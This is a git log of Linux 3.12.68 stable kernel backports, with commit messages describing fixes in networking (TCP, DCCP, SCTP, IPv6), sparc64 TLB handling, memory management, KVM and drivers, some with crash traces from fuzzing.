commit f19260acb98e5791e0429bcd1567aa422eeb585e
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Fri Nov 25 09:28:34 2016 +0100

    Linux 3.12.68

commit dbb41290b2033840bf962d987c575fb3c8e11807
Author: Takashi Iwai <tiwai@suse.de>
Date:   Wed Aug 19 07:20:14 2015 +0200

    ALSA: usb-audio: Fix runtime PM unbalance
    
    commit 9003ebb13f61e8c78a641e0dda7775183ada0625 upstream.
    
    The fix for deadlock in PM in commit [1ee23fe07ee8: ALSA: usb-audio:
    Fix deadlocks at resuming] introduced a new check of in_pm flag.
    However, the brainless patch author evaluated it in a wrong way
    (logical AND instead of logical OR), thus usb_autopm_get_interface()
    is wrongly called at probing, leading to unbalance of runtime PM
    refcount.
    
    This patch fixes it by correcting the logic.
    
    Reported-by: Hans Yang <hansy@nvidia.com>
    Fixes: 1ee23fe07ee8 ('ALSA: usb-audio: Fix deadlocks at resuming')
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6417d6f2e707a0bcf5b4fd13c0b184d4ba41c4d0
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Apr 13 00:26:35 2015 +0100

    xen-pciback: Add name prefix to global 'permissive' variable
    
    commit 8014bcc86ef112eab9ee1db312dba4e6b608cf89 upstream.
    
    The variable for the 'permissive' module parameter used to be static
    but was recently changed to be extern.  This puts it in the kernel
    global namespace if the driver is built-in, so its name should begin
    with a prefix identifying the driver.
    
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Fixes: af6fc858a35b ("xen-pciback: limit guest control of command register")
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f183980f7ded62e5e693e57e04a2b3666626ba50
Author: Myron Stowe <myron.stowe@redhat.com>
Date:   Tue Feb 3 16:01:24 2015 -0700

    PCI: Handle read-only BARs on AMD CS553x devices
    
    commit 06cf35f903aa6da0cc8d9f81e9bcd1f7e1b534bb upstream.
    
    Some AMD CS553x devices have read-only BARs because of a firmware or
    hardware defect.  There's a workaround in quirk_cs5536_vsa(), but it no
    longer works after 36e8164882ca ("PCI: Restore detection of read-only
    BARs").  Prior to 36e8164882ca, we filled in res->start; afterwards we
    leave it zeroed out.  The quirk only updated the size, so the driver tried
    to use a region starting at zero, which didn't work.
    
    Expand quirk_cs5536_vsa() to read the base addresses from the BARs and
    hard-code the sizes.
    
    On Nix's system BAR 2's read-only value is 0x6200.  Prior to 36e8164882ca,
    we interpret that as a 512-byte BAR based on the lowest-order bit set.  Per
    datasheet sec 5.6.1, that BAR (MFGPT) requires only 64 bytes; use that to
    avoid clearing any address bits if a platform uses only 64-byte alignment.
    
    [js] pcibios_bus_to_resource takes pdev, not bus in 3.12
    
    [bhelgaas: changelog, reduce BAR 2 size to 64]
    Fixes: 36e8164882ca ("PCI: Restore detection of read-only BARs")
    Link: https://bugzilla.kernel.org/show_bug.cgi?id=85991#c4
    Link: http://support.amd.com/TechDocs/31506_cs5535_databook.pdf
    Link: http://support.amd.com/TechDocs/33238G_cs5536_db.pdf
    Reported-and-tested-by: Nix <nix@esperi.org.uk>
    Signed-off-by: Myron Stowe <myron.stowe@redhat.com>
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 5e08a111b0a076648039fb2a08d6e101a6af9388
Author: Peter Zijlstra <peterz@infradead.org>
Date:   Fri Jan 23 11:19:48 2015 +0100

    perf: Tighten (and fix) the grouping condition
    
    commit c3c87e770458aa004bd7ed3f29945ff436fd6511 upstream.
    
    The fix from 9fc81d87420d ("perf: Fix events installation during
    moving group") was incomplete in that it failed to recognise that
    creating a group with events for different CPUs is semantically
    broken -- they cannot be co-scheduled.
    
    Furthermore, it leads to real breakage where, when we create an event
    for CPU Y and then migrate it to form a group on CPU X, the code gets
    confused where the counter is programmed -- triggered in practice
    as well by me via the perf fuzzer.
    
    Fix this by tightening the rules for creating groups. Only allow
    grouping of counters that can be co-scheduled in the same context.
    This means for the same task and/or the same cpu.
    
    Fixes: 9fc81d87420d ("perf: Fix events installation during moving group")
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
    Cc: Jiri Olsa <jolsa@redhat.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Link: http://lkml.kernel.org/r/20150123125834.090683288@infradead.org
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1af405b19798ba98c7c1971202a1c8972e303f66
Author: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
Date:   Thu Nov 13 18:28:47 2014 +0100

    usb: musb: musb_cppi41: recognize HS devices in hostmode
    
    commit 1eec34e9f25664cf71e05321329d128e0565beae upstream.
    
    There is a poll loop for max 25us for HS devices. Now guess what, I
    tested it in gadget mode and forgot about the little detail. Nobody seem
    to have it noticed…
    This patch adds the missing logic for hostmode so it is recognized in
    host and device mode properly.
    
    Fixes: 50aea6fca771 ("usb: musb: cppi41: fire hrtimer according to
    programmed channel length")
    Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Signed-off-by: Felipe Balbi <balbi@ti.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a8767147535ae95719119a469cfe786b1cfd1deb
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Thu Oct 30 18:27:12 2014 +0000

    drivers/net: Disable UFO through virtio
    
    commit 3d0ad09412ffe00c9afa201d01effdb6023d09b4 upstream.
    
    IPv6 does not allow fragmentation by routers, so there is no
    fragmentation ID in the fixed header.  UFO for IPv6 requires the ID to
    be passed separately, but there is no provision for this in the virtio
    net protocol.
    
    Until recently our software implementation of UFO/IPv6 generated a new
    ID, but this was a bug.  Now we will use ID=0 for any UFO/IPv6 packet
    passed through a tap, which is even worse.
    
    Unfortunately there is no distinction between UFO/IPv4 and v6
    features, so disable UFO on taps and virtio_net completely until we
    have a proper solution.
    
    We cannot depend on VM managers respecting the tap feature flags, so
    keep accepting UFO packets but log a warning the first time we do
    this.
    
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Fixes: 916e4cf46d02 ("ipv6: reuse ip6_frag_id from ip6_ufo_append_data")
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 79024d0fdd8b839a0c7664e4027f4e6be99eb2be
Author: Ard Biesheuvel <ard.biesheuvel@linaro.org>
Date:   Fri Sep 12 15:16:00 2014 +0200

    KVM: check for !is_zero_pfn() in kvm_is_mmio_pfn()
    
    commit 85c8555ff07ef09261bd50d603cd4290cff5a8cc upstream.
    
    Read-only memory ranges may be backed by the zero page, so avoid
    misidentifying it a a MMIO pfn.
    
    This fixes another issue I identified when testing QEMU+KVM_UEFI, where
    a read to an uninitialized emulated NOR flash brought in the zero page,
    but mapped as a read-write device region, because kvm_is_mmio_pfn()
    misidentifies it as a MMIO pfn due to its PG_reserved bit being set.
    
    Signed-off-by: Ard Biesheuvel <ard.biesheuvel@linaro.org>
    Fixes: b88657674d39 ("ARM: KVM: user_mem_abort: support stage 2 MMIO page mapping")
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 571a8e0bf6d7ca990a13ad9622f3880244c11573
Author: Ard Biesheuvel <ard.biesheuvel@linaro.org>
Date:   Fri Sep 12 22:17:23 2014 +0200

    mm: export symbol dependencies of is_zero_pfn()
    
    commit 0b70068e47e8f0c813a902dc3d6def601fd15acb upstream.
    
    In order to make the static inline function is_zero_pfn() callable by
    modules, export its symbol dependencies 'zero_pfn' and (for s390 and
    mips) 'zero_page_mask'.
    
    We need this for KVM, as CONFIG_KVM is a tristate for all supported
    architectures except ARM and arm64, and testing a pfn whether it refers
    to the zero page is required to correctly distinguish the zero page
    from other special RAM ranges that may also have the PG_reserved bit
    set, but need to be treated as MMIO memory.
    
    Signed-off-by: Ard Biesheuvel <ard.biesheuvel@linaro.org>
    Acked-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 820c7391d09e6da3114eba535a736753fad1f84b
Author: Johannes Weiner <hannes@cmpxchg.org>
Date:   Tue May 6 12:50:05 2014 -0700

    mm: filemap: update find_get_pages_tag() to deal with shadow entries
    
    commit 139b6a6fb1539e04b01663d61baff3088c63dbb5 upstream.
    
    Dave Jones reports the following crash when find_get_pages_tag() runs
    into an exceptional entry:
    
      kernel BUG at mm/filemap.c:1347!
      RIP: find_get_pages_tag+0x1cb/0x220
      Call Trace:
        find_get_pages_tag+0x36/0x220
        pagevec_lookup_tag+0x21/0x30
        filemap_fdatawait_range+0xbe/0x1e0
        filemap_fdatawait+0x27/0x30
        sync_inodes_sb+0x204/0x2a0
        sync_inodes_one_sb+0x19/0x20
        iterate_supers+0xb2/0x110
        sys_sync+0x44/0xb0
        ia32_do_call+0x13/0x13
    
      1343                         /*
      1344                          * This function is never used on a shmem/tmpfs
      1345                          * mapping, so a swap entry won't be found here.
      1346                          */
      1347                         BUG();
    
    After commit 0cd6144aadd2 ("mm + fs: prepare for non-page entries in
    page cache radix trees") this comment and BUG() are out of date because
    exceptional entries can now appear in all mappings - as shadows of
    recently evicted pages.
    
    However, as Hugh Dickins notes,
    
      "it is truly surprising for a PAGECACHE_TAG_WRITEBACK (and probably
       any other PAGECACHE_TAG_*) to appear on an exceptional entry.
    
       I expect it comes down to an occasional race in RCU lookup of the
       radix_tree: lacking absolute synchronization, we might sometimes
       catch an exceptional entry, with the tag which really belongs with
       the unexceptional entry which was there an instant before."
    
    And indeed, not only is the tree walk lockless, the tags are also read
    in chunks, one radix tree node at a time.  There is plenty of time for
    page reclaim to swoop in and replace a page that was already looked up
    as tagged with a shadow entry.
    
    Remove the BUG() and update the comment.  While reviewing all other
    lookup sites for whether they properly deal with shadow entries of
    evicted pages, update all the comments and fix memcg file charge moving
    to not miss shmem/tmpfs swapcache pages.
    
    Fixes: 0cd6144aadd2 ("mm + fs: prepare for non-page entries in page cache radix trees")
    Signed-off-by: Johannes Weiner <hannes@cmpxchg.org>
    Reported-by: Dave Jones <davej@redhat.com>
    Acked-by: Hugh Dickins <hughd@google.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 58c190c82f172954f1cf42e4a9f365a6e74a2d7e
Author: David S. Miller <davem@davemloft.net>
Date:   Thu Oct 27 09:04:54 2016 -0700

    sparc64: Handle extremely large kernel TLB range flushes more gracefully.
    
    [ Upstream commit a74ad5e660a9ee1d071665e7e8ad822784a2dc7f ]
    
    When the vmalloc area gets fragmented, and because the firmware
    mapping area sits between where modules live and the vmalloc area, we
    can sometimes receive requests for enormous kernel TLB range flushes.
    
    When this happens the cpu just spins flushing billions of pages and
    this triggers the NMI watchdog and other problems.
    
    We took care of this on the TSB side by doing a linear scan of the
    table once we pass a certain threshold.
    
    Do something similar for the TLB flush, however we are limited by
    the TLB flush facilities provided by the different chip variants.
    
    First of all we use an (mostly arbitrary) cut-off of 256K which is
    about 32 pages.  This can be tuned in the future.
    
    The huge range code path for each chip works as follows:
    
    1) On spitfire we flush all non-locked TLB entries using diagnostic
       acceses.
    
    2) On cheetah we use the "flush all" TLB flush.
    
    3) On sun4v/hypervisor we do a TLB context flush on context 0, which
       unlike previous chips does not remove "permanent" or locked
       entries.
    
    We could probably do something better on spitfire, such as limiting
    the flush to kernel TLB entries or even doing range comparisons.
    However that probably isn't worth it since those chips are old and
    the TLB only had 64 entries.
    
    Reported-by: James Clarke <jrtc27@jrtc27.com>
    Tested-by: James Clarke <jrtc27@jrtc27.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 5d43827dad0d3f07ba530ebeb253442189fc9bee
Author: David S. Miller <davem@davemloft.net>
Date:   Wed Oct 26 10:20:14 2016 -0700

    sparc64: Fix illegal relative branches in hypervisor patched TLB cross-call code.
    
    [ Upstream commit a236441bb69723032db94128761a469030c3fe6d ]
    
    Just like the non-cross-call TLB flush handlers, the cross-call ones need
    to avoid doing PC-relative branches outside of their code blocks.
    
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 3febdf4c53a077b765fcea0230cd8fd03945659b
Author: David S. Miller <davem@davemloft.net>
Date:   Wed Oct 26 10:08:22 2016 -0700

    sparc64: Fix instruction count in comment for __hypervisor_flush_tlb_pending.
    
    [ Upstream commit 830cda3f9855ff092b0e9610346d110846fc497c ]
    
    Noticed by James Clarke.
    
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6246428d4cef994814f24b434c72a96a43948597
Author: David S. Miller <davem@davemloft.net>
Date:   Tue Oct 25 16:23:26 2016 -0700

    sparc64: Fix illegal relative branches in hypervisor patched TLB code.
    
    [ Upstream commit b429ae4d5b565a71dfffd759dfcd4f6c093ced94 ]
    
    When we copy code over to patch another piece of code, we can only use
    PC-relative branches that target code within that piece of code.
    
    Such PC-relative branches cannot be made to external symbols because
    the patch moves the location of the code and thus modifies the
    relative address of external symbols.
    
    Use an absolute jmpl to fix this problem.
    
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit fbc1defa1a925ea2f25ae2b519c84bdeb515e286
Author: David S. Miller <davem@davemloft.net>
Date:   Tue Oct 25 19:43:17 2016 -0700

    sparc64: Handle extremely large kernel TSB range flushes sanely.
    
    [ Upstream commit 849c498766060a16aad5b0e0d03206726e7d2fa4 ]
    
    If the number of pages we are flushing is more than twice the number
    of entries in the TSB, just scan the TSB table for matches rather
    than probing each and every page in the range.
    
    Based upon a patch and report by James Clarke.
    
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6d6262c596094fc880e2825cfc66a3fdbcabf8e7
Author: James Clarke <jrtc27@jrtc27.com>
Date:   Mon Oct 24 19:49:25 2016 +0100

    sparc: Handle negative offsets in arch_jump_label_transform
    
    [ Upstream commit 9d9fa230206a3aea6ef451646c97122f04777983 ]
    
    Additionally, if the offset will overflow the immediate for a ba,pt
    instruction, fall back on a standard ba to get an extra 3 bits.
    
    Signed-off-by: James Clarke <jrtc27@jrtc27.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2f9cb54022b8599ce8b3ffcdc8a54437bd647985
Author: Mike Kravetz <mike.kravetz@oracle.com>
Date:   Fri Jul 15 13:08:42 2016 -0700

    sparc64 mm: Fix base TSB sizing when hugetlb pages are used
    
    [ Upstream commit af1b1a9b36b8f9d583d4b4f90dd8946ed0cd4bd0 ]
    
    do_sparc64_fault() calculates both the base and huge page RSS sizes and
    uses this information in calls to tsb_grow().  The calculation for base
    page TSB size is not correct if the task uses hugetlb pages.  hugetlb
    pages are not accounted for in RSS, therefore the call to get_mm_rss(mm)
    does not include hugetlb pages.  However, the number of pages based on
    huge_pte_count (which does include hugetlb pages) is subtracted from
    this value.  This will result in an artificially small and often negative
    RSS calculation.  The base TSB size is then often set to max_tsb_size
    as the passed RSS is unsigned, so a negative value looks really big.
    
    THP pages are also accounted for in huge_pte_count, and THP pages are
    accounted for in RSS so the calculation in do_sparc64_fault() is correct
    if a task only uses THP pages.
    
    A single huge_pte_count is not sufficient for TSB sizing if both hugetlb
    and THP pages can be used.  Instead of a single counter, use two:  one
    for hugetlb and one for THP.
    
    Signed-off-by: Mike Kravetz <mike.kravetz@oracle.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2d5cba50a5b9ad14eda19ae0719d557437882178
Author: David S. Miller <davem@davemloft.net>
Date:   Wed Jul 27 17:50:26 2016 -0700

    sparc: Don't leak context bits into thread->fault_address
    
    [ Upstream commit 4f6deb8cbab532a8d7250bc09234c1795ecb5e2c ]
    
    On pre-Niagara systems, we fetch the fault address on data TLB
    exceptions from the TLB_TAG_ACCESS register.  But this register also
    contains the context ID assosciated with the fault in the low 13 bits
    of the register value.
    
    This propagates into current_thread_info()->fault_address and can
    cause trouble later on.
    
    So clear the low 13-bits out of the TLB_TAG_ACCESS value in the cases
    where it matters.
    
    Reported-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9edbcfdced9628dfdc6dc54d625e571aef81a8a5
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Nov 10 13:12:35 2016 -0800

    tcp: take care of truncations done by sk_filter()
    
    [ Upstream commit ac6e780070e30e4c35bd395acfe9191e6268bdd3 ]
    
    With syzkaller help, Marco Grassi found a bug in TCP stack,
    crashing in tcp_collapse()
    
    Root cause is that sk_filter() can truncate the incoming skb,
    but TCP stack was not really expecting this to happen.
    It probably was expecting a simple DROP or ACCEPT behavior.
    
    We first need to make sure no part of TCP header could be removed.
    Then we need to adjust TCP_SKB_CB(skb)->end_seq
    
    Many thanks to syzkaller team and Marco for giving us a reproducer.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Marco Grassi <marco.gra@gmail.com>
    Reported-by: Vladis Dronov <vdronov@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 75ed3f35930e79bcb1a5e61d0520953fea3e30a2
Author: Stephen Suryaputra Lin <stephen.suryaputra.lin@gmail.com>
Date:   Thu Nov 10 11:16:15 2016 -0500

    ipv4: use new_gw for redirect neigh lookup
    
    [ Upstream commit 969447f226b451c453ddc83cac6144eaeac6f2e3 ]
    
    In v2.6, ip_rt_redirect() calls arp_bind_neighbour() which returns 0
    and then the state of the neigh for the new_gw is checked. If the state
    isn't valid then the redirected route is deleted. This behavior is
    maintained up to v3.5.7 by check_peer_redirect() because rt->rt_gateway
    is assigned to peer->redirect_learned.a4 before calling
    ipv4_neigh_lookup().
    
    After commit 5943634fc559 ("ipv4: Maintain redirect and PMTU info in
    struct rtable again."), ipv4_neigh_lookup() is performed without the
    rt_gateway assigned to the new_gw. In the case when rt_gateway (old_gw)
    isn't zero, the function uses it as the key. The neigh is most likely
    valid since the old_gw is the one that sends the ICMP redirect message.
    Then the new_gw is assigned to fib_nh_exception. The problem is: the
    new_gw ARP may never gets resolved and the traffic is blackholed.
    
    So, use the new_gw for neigh lookup.
    
    Changes from v1:
     - use __ipv4_neigh_lookup instead (per Eric Dumazet).
    
    Fixes: 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again.")
    Signed-off-by: Stephen Suryaputra Lin <ssurya@ieee.org>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 34a6fca3d0eb6b8bdedd38ac463dc161ca6979f6
Author: WANG Cong <xiyou.wangcong@gmail.com>
Date:   Wed Sep 24 17:07:53 2014 -0700

    neigh: check error pointer instead of NULL for ipv4_neigh_lookup()
    
    commit 2c1a4311b61072afe2309d4152a7993e92caa41c upstream.
    
    Fixes: commit f187bc6efb7250afee0e2009b6106 ("ipv4: No need to set generic neighbour pointer")
    Cc: David S. Miller <davem@davemloft.net>
    Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e464b5b0d9f756737da0b1eff550a67dd8dead15
Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Date:   Thu Nov 3 17:03:41 2016 -0200

    sctp: assign assoc_id earlier in __sctp_connect
    
    [ Upstream commit 7233bc84a3aeda835d334499dc00448373caf5c0 ]
    
    sctp_wait_for_connect() currently already holds the asoc to keep it
    alive during the sleep, in case another thread release it. But Andrey
    Konovalov and Dmitry Vyukov reported an use-after-free in such
    situation.
    
    Problem is that __sctp_connect() doesn't get a ref on the asoc and will
    do a read on the asoc after calling sctp_wait_for_connect(), but by then
    another thread may have closed it and the _put on sctp_wait_for_connect
    will actually release it, causing the use-after-free.
    
    Fix is, instead of doing the read after waiting for the connect, do it
    before so, and avoid this issue as the socket is still locked by then.
    There should be no issue on returning the asoc id in case of failure as
    the application shouldn't trust on that number in such situations
    anyway.
    
    This issue doesn't exist in sctp_sendmsg() path.
    
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
    Reviewed-by: Xin Long <lucien.xin@gmail.com>
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit ebf65c3c786790af3752d175362e0f05de319de4
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Nov 3 08:59:46 2016 -0700

    ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped
    
    [ Upstream commit 990ff4d84408fc55942ca6644f67e361737b3d8e ]
    
    While fuzzing kernel with syzkaller, Andrey reported a nasty crash
    in inet6_bind() caused by DCCP lacking a required method.
    
    Fixes: ab1e0a13d7029 ("[SOCK] proto: Add hashinfo member to struct proto")
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Cc: Arnaldo Carvalho de Melo <acme@redhat.com>
    Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bfe7d1dee859cad6802f8e21a0a863f408114612
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 20:30:48 2016 -0700

    ipv6: dccp: fix out of bound access in dccp_v6_err()
    
    [ Upstream commit 1aa9d1a0e7eefcc61696e147d123453fc0016005 ]
    
    dccp_v6_err() does not use pskb_may_pull() and might access garbage.
    
    We only need 4 bytes at the beginning of the DCCP header, like TCP,
    so the 8 bytes pulled in icmpv6_notify() are more than enough.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit dbf1719c65fb0368a94d15767c669e47e295a073
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 19:00:40 2016 -0700

    dccp: fix out of bound access in dccp_v4_err()
    
    [ Upstream commit 6706a97fec963d6cb3f7fc2978ec1427b4651214 ]
    
    dccp_v4_err() does not use pskb_may_pull() and might access garbage.
    
    We only need 4 bytes at the beginning of the DCCP header, like TCP,
    so the 8 bytes pulled in icmp_socket_deliver() are more than enough.
    
    This patch might allow to process more ICMP messages, as some routers
    are still limiting the size of reflected bytes to 28 (RFC 792), instead
    of extended lengths (RFC 1812 4.3.2.3)
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 730082f962fbb21146e974c713f536d7000b5a79
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 18:04:24 2016 -0700

    dccp: do not send reset to already closed sockets
    
    [ Upstream commit 346da62cc186c4b4b1ac59f87f4482b47a047388 ]
    
    Andrey reported following warning while fuzzing with syzkaller
    
    WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290
    Kernel panic - not syncing: panic_on_warn set ...
    
    CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ #293
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
     ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000
     ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a
     0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00
    Call Trace:
     [<     inline     >] __dump_stack lib/dump_stack.c:15
     [<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51
     [<ffffffff8140c06a>] panic+0x1bc/0x39d kernel/panic.c:179
     [<ffffffff8111125c>] __warn+0x1cc/0x1f0 kernel/panic.c:542
     [<ffffffff8111144c>] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
     [<ffffffff8389e5d9>] dccp_set_state+0x229/0x290 net/dccp/proto.c:83
     [<ffffffff838a0aa2>] dccp_close+0x612/0xc10 net/dccp/proto.c:1016
     [<ffffffff8316bf1f>] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415
     [<ffffffff82b6e89e>] sock_release+0x8e/0x1d0 net/socket.c:570
     [<ffffffff82b6e9f6>] sock_close+0x16/0x20 net/socket.c:1017
     [<ffffffff815256ad>] __fput+0x29d/0x720 fs/file_table.c:208
     [<ffffffff81525bb5>] ____fput+0x15/0x20 fs/file_table.c:244
     [<ffffffff811727d8>] task_work_run+0xf8/0x170 kernel/task_work.c:116
     [<     inline     >] exit_task_work include/linux/task_work.h:21
     [<ffffffff8111bc53>] do_exit+0x883/0x2ac0 kernel/exit.c:828
     [<ffffffff811221fe>] do_group_exit+0x10e/0x340 kernel/exit.c:931
     [<ffffffff81143c94>] get_signal+0x634/0x15a0 kernel/signal.c:2307
     [<ffffffff81054aad>] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807
     [<ffffffff81003a05>] exit_to_usermode_loop+0xe5/0x130
    arch/x86/entry/common.c:156
     [<     inline     >] prepare_exit_to_usermode arch/x86/entry/common.c:190
     [<ffffffff81006298>] syscall_return_slowpath+0x1a8/0x1e0
    arch/x86/entry/common.c:259
     [<ffffffff83fc1a62>] entry_SYSCALL_64_fastpath+0xc0/0xc2
    Dumping ftrace buffer:
       (ftrace buffer empty)
    Kernel Offset: disabled
    
    Fix this the same way we did for TCP in commit 565b7b2d2e63
    ("tcp: do not send reset to already closed sockets")
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0f41dc1ca088447f96c77b9c2b669dc4cce92389
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 07:53:17 2016 -0700

    tcp: fix potential memory corruption
    
    [ Upstream commit ac9e70b17ecd7c6e933ff2eaf7ab37429e71bf4d ]
    
    Imagine initial value of max_skb_frags is 17, and last
    skb in write queue has 15 frags.
    
    Then max_skb_frags is lowered to 14 or smaller value.
    
    tcp_sendmsg() will then be allowed to add additional page frags
    and eventually go past MAX_SKB_FRAGS, overflowing struct
    skb_shared_info.
    
    Fixes: 5f74f82ea34c ("net:Add sysctl_max_skb_frags")
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Hans Westgaard Ry <hans.westgaard.ry@oracle.com>
    Cc: Håkon Bugge <haakon.bugge@oracle.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit c1278d4dfee87d923685f19fa7fb7fd3271b504c
Author: Eli Cooper <elicooper@gmx.com>
Date:   Tue Nov 1 23:45:12 2016 +0800

    ip6_tunnel: Clear IP6CB in ip6tunnel_xmit()
    
    [ Upstream commit 23f4ffedb7d751c7e298732ba91ca75d224bc1a6 ]
    
    skb->cb may contain data from previous layers. In the observed scenario,
    the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so
    that small packets sent through the tunnel are mistakenly fragmented.
    
    This patch unconditionally clears the control buffer in ip6tunnel_xmit(),
    which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of
    these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Eli Cooper <elicooper@gmx.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 781c68c686b47bc9f51b54949e364034caec949e
Author: Eric Dumazet <edumazet@google.com>
Date:   Sat Oct 29 11:02:36 2016 -0700

    net: mangle zero checksum in skb_checksum_help()
    
    [ Upstream commit 4f2e4ad56a65f3b7d64c258e373cb71e8d2499f4 ]
    
    Sending zero checksum is ok for TCP, but not for UDP.
    
    UDPv6 receiver should by default drop a frame with a 0 checksum,
    and UDPv4 would not verify the checksum and might accept a corrupted
    packet.
    
    Simply replace such checksum by 0xffff, regardless of transport.
    
    This error was caught on SIT tunnels, but seems generic.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Maciej Żenczykowski <maze@google.com>
    Cc: Willem de Bruijn <willemb@google.com>
    Acked-by: Maciej Żenczykowski <maze@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 11c4d5f9c7f85b14665b7f3ebfeb3cb319f5cb1e
Author: Eric Dumazet <edumazet@google.com>
Date:   Fri Oct 28 13:40:24 2016 -0700

    net: clear sk_err_soft in sk_clone_lock()
    
